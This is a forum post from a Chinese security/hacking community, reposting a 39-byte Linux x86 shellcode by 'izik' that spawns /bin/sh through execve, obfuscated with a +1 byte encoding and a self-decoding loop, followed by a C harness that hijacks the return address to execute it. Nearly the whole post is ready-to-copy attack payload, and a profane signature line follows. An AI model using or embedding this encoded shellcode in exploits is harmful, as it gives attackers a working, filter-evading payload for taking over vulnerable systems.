‹‹ 上一主题 | 下一主题 ››
发新话题
打印

linux/x86 execve /bin/sh (encoded by +1) 39 bytes

EvilOctal

团队执行官

Rank: 8Rank: 8

E.S.T社区执行帐号

帖子
9800 
精华
768 
积分
40153 
阅读权限
200 
性别
男 
在线时间
3967 小时 
注册时间
2004-7-4 
最后登录
2008-7-5 
楼主 大 中 小 发表于 2006-1-29 10:58  只看该作者

linux/x86 execve /bin/sh (encoded by +1) 39 bytes

文章作者：izik
复制内容到剪贴板
代码:
/*
* (linux/x86) - execve("/bin/sh", ["/bin/sh"], NULL) / encoded by +1 - 39 bytes
* - izik <[email]izik@tty64.org[/email]>
*/

char shellcode[] =

  "\x68\x8a\xe2\xce\x81"  // push $0x81cee28a
  "\x68\xb1\x0c\x53\x54"  // push $0x54530cb1
  "\x68\x6a\x6f\x8a\xe4"  // push $0xe48a6f6a
  "\x68\x01\x69\x30\x63"  // push $0x63306901
  "\x68\x69\x30\x74\x69"  // push $0x69743069
  "\x6a\x14"          // push $0x14
  "\x59"            // pop %ecx
  
  //
  // <_unpack_loop>:
  //

  "\xfe\x0c\x0c"       // decb (%esp,%ecx,1)
  "\x49"            // dec %ecx
  "\x79\xfa"          // jns <_unpack_loop>
  "\x41"            // inc %ecx
  "\xf7\xe1"          // mul %ecx
  "\x54"            // push %esp
  "\xc3";            // ret

int main(int argc, char **argv) {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int) shellcode;
}
曾几何时，有人对我说：装B遭雷劈。我说：去你妈的。于是，这个人又对我说：如果再说脏话，上帝会惩罚你的。我说：我操上帝。结论：彪悍的人生不需要上帝。

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题